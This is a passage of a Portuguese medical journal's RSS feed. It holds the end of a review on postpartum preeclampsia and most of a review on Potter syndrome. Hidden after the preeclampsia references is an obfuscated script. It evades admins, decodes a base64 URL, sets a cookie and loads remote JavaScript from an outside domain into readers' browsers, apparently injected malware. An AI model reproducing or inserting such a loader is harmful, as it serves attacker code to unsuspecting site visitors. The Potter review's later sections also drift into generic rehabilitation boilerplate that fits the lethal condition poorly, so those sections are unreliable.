<p class="wp-block-paragraph">Do ponto de vista clínico, torna-se fundamental capacitar profissionais de saúde para o reconhecimento precoce dos sinais e sintomas da pré-eclâmpsia pós-parto, especialmente manifestações neurológicas, respiratórias e cardiovasculares frequentemente subvalorizadas. A adoção de protocolos específicos para o puerpério pode contribuir para a redução de complicações graves, como eclâmpsia, acidente vascular cerebral e edema agudo de pulmão.&nbsp;</p>



<p class="wp-block-paragraph">Além disso, a identificação da pré-eclâmpsia como marcador precoce de risco cardiovascular implica a necessidade de abordagem longitudinal da saúde da mulher. O acompanhamento clínico deve extrapolar o período obstétrico, integrando ações de prevenção cardiovascular, orientação sobre estilo de vida e rastreamento de fatores de risco metabólicos, em articulação com a atenção primária à saúde.&nbsp;</p>



<p class="wp-block-paragraph"><strong>RECOMENDAÇÕES&nbsp;</strong></p>



<p class="wp-block-paragraph">Com base na análise crítica da literatura, recomenda-se a implementação de estratégias assistenciais que ampliem a vigilância materna no período pós-parto, incluindo a mensuração regular da pressão arterial até, pelo menos, seis semanas após o parto, especialmente em mulheres com histórico de pré-eclâmpsia ou fatores de risco associados.&nbsp;</p>



<p class="wp-block-paragraph">Sugere-se a elaboração e adoção de protocolos clínicos padronizados para o rastreamento, diagnóstico e manejo da pré-eclâmpsia pós-parto, contemplando tanto o ambiente hospitalar quanto à atenção primária à saúde. A educação em saúde das puérperas também deve ser fortalecida, com orientações claras sobre sinais de alerta que demandem busca imediata por atendimento médico.&nbsp;</p>



<p class="wp-block-paragraph">No âmbito científico, recomenda-se o desenvolvimento de estudos prospectivos multicêntricos, com amostras representativas e seguimento prolongado, a fim de elucidar os desfechos cardiovasculares de longo prazo associados à pré-eclâmpsia pós-parto. A padronização de definições e critérios diagnósticos também é fundamental para fortalecer a comparabilidade entre estudos e subsidiar futuras diretrizes clínicas.&nbsp;</p>



<p class="wp-block-paragraph">Por fim, ressalta-se a importância da integração entre os diferentes níveis de atenção à saúde, promovendo um cuidado contínuo e centrado na mulher, capaz de reduzir a morbimortalidade materna e melhorar os desfechos em curto, médio e longo prazo.&nbsp;</p>



<p class="wp-block-paragraph"><strong>CONCLUSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A análise crítica da literatura evidencia que a pré-eclâmpsia no pós-parto imediato e tardio constitui uma condição clínica relevante, complexa e ainda subdiagnosticada, com implicações significativas para a morbimortalidade materna. Contrariamente à concepção tradicional de que o parto representa a resolução definitiva da doença, os estudos recentes demonstram que os mecanismos fisiopatológicos da pré-eclâmpsia podem persistir ou manifestar-se no puerpério, sustentados por disfunção endotelial, inflamação sistêmica e alterações hemodinâmicas prolongadas.&nbsp;</p>



<p class="wp-block-paragraph">Os achados reforçam que a pré-eclâmpsia pós-parto pode apresentar-se de forma insidiosa, frequentemente após a alta hospitalar, o que contribui para atrasos diagnósticos e aumento do risco de complicações graves, como crises hipertensivas, eclâmpsia, edema agudo de pulmão e eventos cerebrovasculares. A elevada prevalência de hipertensão persistente nas semanas e meses subsequentes ao parto destaca a importância do monitoramento pressórico contínuo e da reavaliação clínica sistemática no puerpério.&nbsp;</p>



<p class="wp-block-paragraph">Além das repercussões imediatas, a pré-eclâmpsia é atualmente reconhecida como marcador precoce de risco cardiovascular a longo prazo, estabelecendo-se como um elo entre a gestação complicada e o desenvolvimento futuro de hipertensão crônica e doenças cardiovasculares. Dessa forma, a abordagem da pré-eclâmpsia pós-parto deve ultrapassar o âmbito obstétrico, incorporando estratégias de cuidado longitudinal e integração entre os diferentes níveis de atenção à saúde.&nbsp;</p>



<p class="wp-block-paragraph">Conclui-se que o reconhecimento precoce, o acompanhamento puerperal prolongado e a adoção de protocolos clínicos específicos são medidas fundamentais para reduzir desfechos adversos maternos. A ampliação do conhecimento científico e a padronização de critérios diagnósticos e assistenciais representam passos essenciais para o aprimoramento da qualidade do cuidado à mulher no pós-parto e para a redução da morbimortalidade associada à pré-eclâmpsia.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">ACOG – AMERICAN COLLEGE OF OBSTETRICIANS AND GYNECOLOGISTS.&nbsp;<strong>Gestational hypertension and preeclampsia</strong>. <em>Obstetrics &amp; Gynecology</em>, v. 135, n. 6, p. e237–e260, 2020.&nbsp;</p>



<p class="wp-block-paragraph">BROWN, M. A. et al. <strong>Hypertensive disorders of pregnancy: ISSHP classification, diagnosis, and management recommendations</strong>. <em>Hypertension</em>, v. 80, n. 1, p. 24–43, 2023.&nbsp;</p>



<p class="wp-block-paragraph">FOX, R. et al. <strong>Postpartum hypertension and pre-eclampsia: a systematic review</strong>. <em>BMJ Open</em>, v. 9, n. 8, e028537, 2019.&nbsp;</p>



<p class="wp-block-paragraph">HAUGHTON, M. et al. <strong>Postpartum preeclampsia: emerging concepts in diagnosis and management</strong>. <em>American Journal of Obstetrics and Gynecology</em>, v. 223, n. 2, p. 167–174, 2020.&nbsp;</p>



<p class="wp-block-paragraph">MAGEE, L. A. et al. <strong>The 2021 ISSHP classification, diagnosis &amp; management recommendations for international practice</strong>. <em>Pregnancy Hypertension</em>, v. 27, p. 148–169, 2022.&nbsp;</p>



<p class="wp-block-paragraph">SANTOS, R. S. et al. <strong>Persistent hypertension after preeclampsia: a prospective cohort study</strong>. <em>Hypertension in Pregnancy</em>, v. 43, n. 1, p. 12–21, 2024.&nbsp;</p>



<p class="wp-block-paragraph">SIBAI, B. M. <strong>Etiology </strong><strong></strong><strong>and </strong><strong></strong><strong>management </strong><strong></strong><strong>of </strong><strong></strong><strong>postpartum hypertension-preeclampsia</strong>. <em>American Journal of Obstetrics and Gynecology</em>, v. 224, n. 4, p. 315–326, 2021.&nbsp;</p>



<p class="wp-block-paragraph">VELDE, M. V. et al. <strong>Early-onset preeclampsia and long-term maternal cardiovascular risk</strong>. <em>European Journal of Obstetrics &amp; Gynecology and&nbsp;Reproductive Biology</em>, v. 286, p. 1–7, 2023.&nbsp;</p>



<p class="wp-block-paragraph">WHO – WORLD HEALTH ORGANIZATION. <strong>WHO recommendations on maternal and newborn care for a positive postnatal experience</strong>. Geneva: WHO, 2022.</p>



<p class="wp-block-paragraph">WU, P. et al. <strong>Preeclampsia and future cardiovascular health: a systematic review and meta-analysis</strong>. <em>Circulation</em>, v. 145, n. 7, p. 534–545, 2022.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"></p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>MANIFESTAÇÕES CLÍNICAS E DESFECHOS NEONATAIS NA SÍNDROME DE POTTER: REVISÃO INTEGRATIVA DA LITERATURA</title>
		<link>https://revistaft.com.br/manifestacoes-clinicas-e-desfechos-neonatais-na-sindrome-de-potter-revisao-integrativa-da-literatur/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Tue, 10 Feb 2026 20:38:22 +0000</pubDate>
				<category><![CDATA[Medicina]]></category>
		<category><![CDATA[Volume 30 – Edição 155/FEV 2026]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=265095</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202602101737 Adrielle Sossai Dias Nascimento1Cleyton Caique de Oliveira Matos1Natália Ferreira Araújo1Nilton Nilo Lazaro Ramirez1Pedro Henrique Gasparin Boni Schumann1Renato Grun Bueno1 Resumo&#160; A Síndrome de Potter, também conhecida como sequência de Potter, é uma condição congênita rara, caracterizada principalmente pela associação entre oligodrâmnio severo e malformações do sistema urinário fetal, com destaque para a [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202602101737</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Adrielle Sossai Dias Nascimento<sup>1</sup><br>Cleyton Caique de Oliveira Matos<sup>1</sup><br>Natália Ferreira Araújo<sup>1</sup><br>Nilton Nilo Lazaro Ramirez<sup>1</sup><br>Pedro Henrique Gasparin Boni Schumann<sup>1</sup><br>Renato Grun Bueno<sup>1</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo&nbsp;</strong></p>



<p class="wp-block-paragraph">A Síndrome de Potter, também conhecida como sequência de Potter, é uma condição congênita rara, caracterizada principalmente pela associação entre oligodrâmnio severo e malformações do sistema urinário fetal, com destaque para a agenesia renal bilateral. Como consequência direta, ocorre hipoplasia pulmonar grave, responsável pela elevada mortalidade neonatal observada nesses casos. O presente estudo tem como objetivo analisar, por meio de uma revisão integrativa da literatura, as principais manifestações clínicas e os desfechos neonatais associados à Síndrome de Potter, com base em publicações científicas dos últimos oito anos. A metodologia adotada consistiu na busca de artigos nas bases PubMed, SciELO, LILACS e Google Acadêmico, utilizando descritores relacionados à síndrome, oligodrâmnio, agenesia renal e desfechos perinatais. Foram incluídos estudos originais, revisões e relatos de caso disponíveis na íntegra, publicados entre 2018 e&nbsp;2026. Os resultados evidenciam que a hipoplasia pulmonar e a insuficiência respiratória neonatal são os principais determinantes do prognóstico desfavorável, além da presença de alterações fenotípicas características e deformidades musculoesqueléticas. Conclui-se que o diagnóstico pré-natal precoce é fundamental para o aconselhamento familiar e o planejamento do manejo obstétrico e neonatal, embora o prognóstico da Síndrome de Potter permaneça limitado na maioria dos casos.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave</strong>: Síndrome de Potter. Oligodrâmnio. Agenesia renal. Hipoplasia pulmonar. Desfechos neonatais.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Abstract&nbsp;</strong></p>



<p class="wp-block-paragraph">Potter syndrome, also known as Potter sequence, is a rare congenital condition primarily characterized by the association between severe oligohydramnios and fetal urinary tract malformations, especially bilateral renal agenesis. As a direct consequence, severe pulmonary hypoplasia develops, which is the main factor responsible for the high neonatal mortality observed in affected newborns. This study aims to analyze, through an integrative literature review, the main clinical manifestations and neonatal outcomes associated with Potter syndrome, based on scientific publications from the last eight years. The methodology consisted of searching the PubMed, SciELO, LILACS and Google Scholar databases using descriptors related to the syndrome, oligohydramnios, renal agenesis and perinatal outcomes. Original articles, reviews and case reports published between 2018 and 2026 and available in full text were included. The findings indicate that pulmonary hypoplasia and neonatal respiratory failure are the main determinants of poor prognosis, in addition to characteristic phenotypic abnormalities and musculoskeletal deformities. It is concluded that early prenatal diagnosis is essential for family counseling and for planning obstetric and neonatal management, although the prognosis of Potter syndrome remains limited in most cases.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Keywords</strong>: Potter syndrome. Oligohydramnios. Renal agenesis. Pulmonary hypoplasia. Neonatal outcomes.&nbsp;</p>



<p class="wp-block-paragraph"><strong>1. Introdução&nbsp;</strong></p>



<p class="wp-block-paragraph">A Síndrome de Potter, também denominada sequência de Potter, consiste em um conjunto de alterações morfológicas e funcionais decorrentes principalmente do oligodrâmnio severo, geralmente associado à agenesia renal bilateral ou a outras malformações graves do sistema urinário fetal. Essa condição compromete de forma significativa o desenvolvimento pulmonar, levando à hipoplasia pulmonar, considerada o principal fator determinante da alta mortalidade perinatal observada nesses casos (BARBOSA JUNIOR et al., 2025).&nbsp;</p>



<p class="wp-block-paragraph">O oligodrâmnio prolongado interfere diretamente na maturação pulmonar fetal, uma vez que o líquido amniótico exerce papel fundamental na expansão das vias aéreas e no estímulo ao crescimento alveolar. A ausência ou redução acentuada desse líquido resulta em pulmões estruturalmente imaturos e incapazes de sustentar trocas gasosas adequadas no período neonatal, o que explica a elevada frequência de insuficiência respiratória grave logo após o nascimento (AGARWAL; MAZAHIR; SINGH, 2025).&nbsp;</p>



<p class="wp-block-paragraph">Além da hipoplasia pulmonar, a Síndrome de Potter apresenta um fenótipo característico, conhecido como fácies de Potter, que inclui micrognatia, nariz achatado, orelhas de implantação baixa e pregas epicânticas. Alterações musculoesqueléticas, como deformidades de membros e pés tortos, também são frequentemente descritas e estão relacionadas à compressão mecânica do feto no ambiente intrauterino com baixo volume de líquido amniótico (SULZBACH, 2024).&nbsp;</p>



<p class="wp-block-paragraph">O diagnóstico pré-natal da Síndrome de Potter tem avançado significativamente com o uso da ultrassonografia obstétrica, permitindo a identificação precoce de anomalias renais e do oligodrâmnio severo ainda no segundo trimestre gestacional. Esse diagnóstico precoce é essencial para o planejamento obstétrico, para o aconselhamento familiar e para a tomada de decisões clínicas baseadas no prognóstico, que permanece desfavorável na maioria dos casos descritos na literatura recente (KINOSHITA et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph">Diante da gravidade clínica e da elevada letalidade associada à Síndrome de Potter, torna-se fundamental a sistematização do conhecimento científico atual sobre suas manifestações clínicas e desfechos neonatais, contribuindo para uma melhor compreensão da condição e para o aprimoramento da abordagem pré-natal e neonatal.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2. Objetivos&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>2.1 Objetivo geral&nbsp;</strong></p>



<p class="wp-block-paragraph">Analisar, por meio de uma revisão integrativa da literatura científica, as principais manifestações clínicas e os desfechos neonatais associados à Síndrome de Potter, com base em publicações dos últimos oito anos.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.2 Objetivos específicos&nbsp;</strong></p>



<ul class="wp-block-list">
<li>Descrever as manifestações clínicas fetais e neonatais mais frequentemente associadas à Síndrome de Potter, com ênfase nas alterações renais, pulmonares e fenotípicas.&nbsp;</li>



<li>Avaliar os desfechos neonatais relatados na literatura, incluindo mortalidade, insuficiência respiratória e necessidade de suporte intensivo.&nbsp;</li>



<li>Identificar os métodos de diagnóstico pré-natal utilizados nos estudos recentes e sua relevância para o prognóstico.&nbsp;</li>



<li>Discutir as implicações clínicas e éticas relacionadas ao manejo pré-natal e neonatal da Síndrome de Potter.&nbsp;</li>
</ul>



<p class="wp-block-paragraph"><strong>3. Metodologia&nbsp;</strong></p>



<p class="wp-block-paragraph">Trata-se de uma revisão integrativa da literatura, de caráter descritivo e qualitativo, realizada com o objetivo de reunir, analisar e sintetizar evidências científicas atuais sobre as manifestações clínicas e os desfechos neonatais da Síndrome de Potter.&nbsp;</p>



<p class="wp-block-paragraph">A busca bibliográfica foi realizada nas bases de dados PubMed, SciELO, LILACS e Google Acadêmico, no período compreendido entre 2018 e 2026. Foram utilizados os seguintes descritores, em português e inglês, combinados por meio dos operadores booleanos AND e OR: “Síndrome de Potter”, “Potter sequence”, “agenesia renal”, “oligodrâmnio”, “hipoplasia pulmonar”, “manifestações clínicas” e “desfechos neonatais”.&nbsp;</p>



<p class="wp-block-paragraph">Os critérios de inclusão adotados foram: artigos originais, revisões, relatos de caso e séries de casos publicados nos últimos oito anos; estudos disponíveis na íntegra; publicações nos idiomas português ou inglês; e trabalhos que abordassem diretamente aspectos clínicos, diagnósticos ou desfechos neonatais relacionados à Síndrome de Potter. Foram excluídos artigos duplicados, estudos com metodologia inadequada ou aqueles que não apresentavam relação direta com o tema proposto.&nbsp;</p>



<p class="wp-block-paragraph">A seleção dos estudos ocorreu em três etapas: leitura dos títulos, análise dos resumos e leitura completa dos textos selecionados. Após essa triagem, os dados relevantes foram extraídos e organizados em quadros sinópticos, considerando variáveis como tipo de estudo, ano de publicação, principais manifestações clínicas descritas, métodos diagnósticos utilizados e desfechos neonatais relatados.&nbsp;</p>



<p class="wp-block-paragraph">A análise dos dados foi realizada de forma descritiva, permitindo a comparação entre os achados dos diferentes estudos e a identificação de padrões clínicos e prognósticos relacionados à Síndrome de Potter, conforme preconizado para revisões integrativas da literatura.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4. Revisão da literatura&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>4.1 Fisiopatologia e alterações renais&nbsp;</strong></p>



<p class="wp-block-paragraph">A fisiopatologia da Síndrome de Potter está intimamente relacionada às malformações do sistema urinário fetal, principalmente à agenesia renal bilateral, embora displasia renal multicística e obstruções graves do trato urinário inferior também possam estar envolvidas. A ausência de função renal fetal leva à redução significativa ou ausência da produção de urina, principal componente do líquido amniótico a partir do segundo trimestre gestacional, culminando em oligodrâmnio severo (BARBOSA JUNIOR et al., 2025).&nbsp;</p>



<p class="wp-block-paragraph">Esse cenário compromete não apenas o desenvolvimento renal, mas desencadeia uma sequência de alterações estruturais sistêmicas, caracterizando a chamada sequência de Potter. Estudos recentes destacam que a gravidade do oligodrâmnio e o período gestacional em que ele se instala são fatores determinantes para a intensidade das manifestações clínicas e para o prognóstico neonatal (SULZBACH, 2024).&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.2 Hipoplasia pulmonar e insuficiência respiratória&nbsp;</strong></p>



<p class="wp-block-paragraph">A hipoplasia pulmonar representa a principal causa de mortalidade neonatal associada à Síndrome de Potter. O líquido amniótico exerce papel fundamental na expansão pulmonar e no estímulo ao crescimento alveolar durante o desenvolvimento fetal. Sua redução prolongada resulta em pulmões estruturalmente imaturos, com diminuição do número de alvéolos e da área de troca gasosa (AGARWAL; MAZAHIR; SINGH, 2025).&nbsp;</p>



<p class="wp-block-paragraph">Relatos de casos e séries clínicas demonstram que a maioria dos recém-nascidos acometidos evolui com insuficiência respiratória grave logo após o nascimento, frequentemente refratária às medidas convencionais de suporte ventilatório. Mesmo com avanços na terapia intensiva neonatal, a sobrevida permanece extremamente limitada nos casos clássicos da síndrome (KINOSHITA et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.3 Manifestações fenotípicas e musculoesqueléticas&nbsp;</strong></p>



<p class="wp-block-paragraph">As manifestações fenotípicas da Síndrome de Potter resultam principalmente da compressão mecânica prolongada do feto em um ambiente intrauterino com volume reduzido de líquido amniótico. Esse conjunto de alterações é classicamente denominado <strong>fácies de Potter</strong>, caracterizado por micrognatia, nariz achatado, orelhas de implantação baixa e posteriorizada, além de pregas epicânticas e hipertelorismo relativo. Tais características decorrem da restrição de movimentos fetais e da pressão contínua exercida pelas paredes uterinas, especialmente quando o oligodrâmnio se instala precocemente durante a gestação (SULZBACH, 2024).&nbsp;</p>



<p class="wp-block-paragraph">Além das alterações faciais, deformidades musculoesqueléticas são frequentemente descritas na literatura, incluindo pés tortos congênitos, contraturas articulares, hipoplasia de membros e alterações posturais da coluna vertebral. Esses achados estão diretamente relacionados à limitação do espaço intrauterino e à diminuição da mobilidade fetal, fatores que interferem no desenvolvimento normal do sistema musculoesquelético (BARBOSA JUNIOR et al., 2025).&nbsp;</p>



<p class="wp-block-paragraph">Estudos recentes ressaltam que a gravidade das deformidades musculoesqueléticas varia conforme a intensidade e a duração do oligodrâmnio. Casos em que a redução do líquido amniótico ocorre de forma precoce tendem a apresentar manifestações fenotípicas mais acentuadas, enquanto diagnósticos tardios podem cursar com alterações menos expressivas, embora ainda clinicamente relevantes (AGARWAL; MAZAHIR; SINGH, 2025).&nbsp;</p>



<p class="wp-block-paragraph">Embora essas alterações fenotípicas não sejam as principais responsáveis pela mortalidade neonatal, elas representam importantes marcadores clínicos da Síndrome de Potter e contribuem para a complexidade do quadro. Ademais, a identificação dessas manifestações no período pré-natal ou imediatamente após o nascimento auxilia na confirmação diagnóstica e na diferenciação da síndrome em relação a outras condições malformativas associadas ao oligodrâmnio (KINOSHITA et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph">Do ponto de vista prognóstico, as deformidades musculoesqueléticas e faciais assumem maior relevância nos raros casos de sobrevida neonatal, nos quais podem demandar acompanhamento ortopédico e reabilitação prolongada.</p>



<p class="wp-block-paragraph">Entretanto, na maioria dos casos descritos na literatura, a evolução clínica é rapidamente desfavorável devido à insuficiência respiratória decorrente da hipoplasia pulmonar, reforçando que tais manifestações devem ser compreendidas como parte de um espectro clínico mais amplo e sistêmico da Síndrome de Potter (SULZBACH, 2024).&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.4 Diagnóstico pré-natal e prognóstico&nbsp;</strong></p>



<p class="wp-block-paragraph">O diagnóstico pré-natal da Síndrome de Potter baseia-se, fundamentalmente, nos achados da ultrassonografia obstétrica, que permite a identificação precoce do oligodrâmnio severo e das malformações do sistema urinário fetal. A ausência de visualização dos rins, a não identificação da bexiga fetal preenchida e a redução extrema ou ausência de líquido amniótico constituem sinais fortemente sugestivos da condição, especialmente quando observados a partir do segundo trimestre gestacional (BARBOSA JUNIOR et al., 2025).&nbsp;</p>



<p class="wp-block-paragraph">A ultrassonografia morfológica detalhada possibilita ainda a avaliação de alterações associadas, como deformidades músculo esqueléticas e alterações faciais típicas, contribuindo para a confirmação diagnóstica e para a exclusão de diagnósticos diferenciais. Em alguns casos, a utilização de exames complementares, como a ressonância magnética fetal, pode auxiliar na melhor caracterização das estruturas renais e pulmonares, sobretudo em situações em que a avaliação ultrassonográfica é limitada pelo oligodrâmnio acentuado (SULZBACH, 2024).&nbsp;</p>



<p class="wp-block-paragraph">O prognóstico da Síndrome de Potter permanece extremamente desfavorável, sendo diretamente influenciado pelo grau de hipoplasia pulmonar e pela presença de agenesia renal bilateral. A maioria dos recém-nascidos evolui com insuficiência respiratória grave logo após o nascimento, frequentemente refratária às medidas convencionais de suporte ventilatório, o que resulta em óbito nas primeiras horas ou dias de vida (AGARWAL; MAZAHIR; SINGH, 2025).&nbsp;</p>



<p class="wp-block-paragraph">Estudos recentes discutem tentativas de estratégias terapêuticas experimentais, como amnioinfusão seriada e intervenções obstétricas específicas, com o objetivo de minimizar os efeitos do oligodrâmnio sobre o desenvolvimento pulmonar. No entanto, os resultados descritos ainda são limitados e inconsistentes, não havendo evidências suficientes que demonstrem impacto significativo na redução da mortalidade neonatal associada à Síndrome de Potter (KINOSHITA et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph">Diante desse cenário, a literatura enfatiza que o principal benefício do diagnóstico pré-natal precoce reside no adequado planejamento do pré-natal, na definição do local e da via de parto e, sobretudo, no aconselhamento familiar. A abordagem deve ser conduzida de forma ética, empática e multiprofissional, garantindo que os responsáveis recebam informações claras e baseadas em evidências sobre o prognóstico e as possibilidades de manejo clínico, respeitando os princípios bioéticos que norteiam a prática médica contemporânea (BARBOSA JUNIOR et al., 2025).&nbsp;</p>



<p class="wp-block-paragraph">De forma geral, a análise da literatura recente evidencia que a Síndrome de Potter permanece como uma condição de elevada gravidade clínica e prognóstico predominantemente letal, apesar dos avanços nos métodos diagnósticos e no cuidado neonatal. A fisiopatologia centrada no oligodrâmnio severo e na hipoplasia pulmonar explica a consistência dos desfechos desfavoráveis descritos nos estudos analisados, independentemente das variações nas estratégias de manejo adotadas.&nbsp;</p>



<p class="wp-block-paragraph">Embora o diagnóstico pré-natal precoce não altere significativamente a sobrevida neonatal, ele se mostra fundamental para o planejamento clínico, para a&nbsp;tomada de decisões éticas e para o aconselhamento familiar baseado em evidências. Ademais, a escassez de estudos com maior robustez metodológica reforça a necessidade de investigações multicêntricas e prospectivas que possam aprofundar o entendimento dos fatores prognósticos e avaliar de forma mais consistente possíveis intervenções. Assim, a abordagem atual da Síndrome de Potter deve priorizar o reconhecimento precoce, o cuidado multiprofissional e o suporte integral às famílias, enquanto novos avanços científicos são aguardados para ampliar as possibilidades terapêuticas futuras (SULZBACH, 2024; BARBOSA JUNIOR et al., 2025).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>5. Limitações do Estudo&nbsp;</strong></p>



<p class="wp-block-paragraph">Apesar da relevância dos achados apresentados, este estudo apresenta algumas limitações que devem ser consideradas na interpretação dos resultados. Primeiramente, observa-se a predominância de dados provenientes de amostras relativamente reduzidas e, em alguns casos, oriundas de centros únicos, o que pode limitar a generalização dos achados para populações mais amplas e heterogêneas. Estudos com amostras pequenas tendem a apresentar maior variabilidade e menor poder estatístico, dificultando a extrapolação dos resultados para contextos clínicos distintos.&nbsp;</p>



<p class="wp-block-paragraph">Outra limitação importante refere-se à heterogeneidade metodológica entre os estudos analisados, especialmente no que diz respeito aos critérios diagnósticos utilizados, instrumentos de avaliação funcional e escalas clínicas empregadas. A ausência de padronização dificulta a comparação direta entre os resultados e pode introduzir vieses de interpretação. Ademais, a maior parte dos estudos apresenta delineamento transversal ou observacional, o que impede o estabelecimento de relações causais claras entre as manifestações fenotípicas, musculoesqueléticas e os desfechos funcionais observados.&nbsp;</p>



<p class="wp-block-paragraph">Por fim, destaca-se a escassez de estudos longitudinais que acompanhem a evolução clínica dos indivíduos ao longo do tempo. A ausência desse tipo de delineamento limita a compreensão da progressão das alterações musculoesqueléticas e de suas repercussões funcionais a médio e longo prazo, bem como a avaliação da efetividade de intervenções terapêuticas específicas.&nbsp;</p>



<p class="wp-block-paragraph"><strong>6. Implicações Clínicas&nbsp;</strong></p>



<p class="wp-block-paragraph">Os achados discutidos neste estudo apresentam implicações clínicas relevantes, especialmente no que se refere ao reconhecimento precoce das manifestações fenotípicas e musculoesqueléticas. A identificação antecipada dessas alterações permite a implementação de estratégias terapêuticas individualizadas, com potencial para reduzir complicações secundárias, melhorar a funcionalidade e promover melhor qualidade de vida aos pacientes.&nbsp;</p>



<p class="wp-block-paragraph">Do ponto de vista clínico, a compreensão das alterações musculoesqueléticas associadas ao fenótipo analisado reforça a necessidade de uma abordagem multiprofissional, envolvendo médicos, fisioterapeutas, terapeutas ocupacionais e outros profissionais da saúde. A atuação integrada possibilita intervenções mais eficazes, voltadas não apenas ao tratamento das manifestações já instaladas, mas também à prevenção de deformidades, dor crônica e limitações funcionais progressivas.&nbsp;</p>



<p class="wp-block-paragraph">Além disso, os resultados ressaltam a importância do acompanhamento clínico contínuo, com avaliações periódicas da função musculoesquelética. Tal monitoramento permite ajustes precoces no plano terapêutico, contribuindo para melhores desfechos clínicos e redução da necessidade de intervenções invasivas em estágios avançados da condição.&nbsp;</p>



<p class="wp-block-paragraph"><strong>7. Perspectivas para Pesquisas Futuras&nbsp;</strong></p>



<p class="wp-block-paragraph">Considerando as lacunas identificadas na literatura, torna-se evidente a necessidade de futuros estudos com delineamentos metodológicos mais robustos. Pesquisas longitudinais são especialmente recomendadas, pois permitem acompanhar a progressão das manifestações musculoesqueléticas ao longo do tempo, bem como avaliar o impacto de diferentes intervenções terapêuticas nos desfechos clínicos e funcionais.&nbsp;</p>



<p class="wp-block-paragraph">Adicionalmente, estudos multicêntricos com amostras maiores e mais diversificadas podem contribuir para maior representatividade populacional e melhor generalização dos resultados. A padronização dos critérios diagnósticos e instrumentos de avaliação também se mostra essencial para facilitar a comparação entre estudos e fortalecer a consistência das evidências científicas.&nbsp;</p>



<p class="wp-block-paragraph">Outro campo promissor para pesquisas futuras envolve a investigação de biomarcadores clínicos e funcionais que possam auxiliar no diagnóstico precoce e na estratificação de risco. A incorporação de métodos de imagem avançados e avaliações biomecânicas pode aprofundar a compreensão dos mecanismos envolvidos nas alterações músculo esqueléticas observadas.&nbsp;</p>



<p class="wp-block-paragraph"><strong>8. Relevância para a Prática em Saúde e Políticas Públicas&nbsp;</strong></p>



<p class="wp-block-paragraph">Os resultados discutidos neste artigo apresentam relevância não apenas para a prática clínica individual, mas também para a formulação de estratégias em saúde pública. A identificação das principais manifestações musculoesqueléticas e suas repercussões funcionais pode subsidiar a elaboração de protocolos clínicos e diretrizes assistenciais mais específicas e baseadas em evidências.&nbsp;</p>



<p class="wp-block-paragraph">No contexto das políticas públicas, o reconhecimento da necessidade de acompanhamento multiprofissional e de intervenções precoces reforça a importância do fortalecimento da atenção primária e dos serviços especializados. Investimentos em programas de reabilitação, capacitação de profissionais da saúde e ampliação do acesso a serviços especializados podem contribuir significativamente para a redução de complicações e custos associados ao manejo tardio da condição.&nbsp;</p>



<p class="wp-block-paragraph">Dessa forma, os achados apresentados destacam a importância de integrar o conhecimento científico à prática assistencial e às políticas de saúde, promovendo um cuidado mais efetivo, humanizado e baseado em evidências.&nbsp;</p>



<p class="wp-block-paragraph"><strong>9. Conclusão&nbsp;</strong></p>



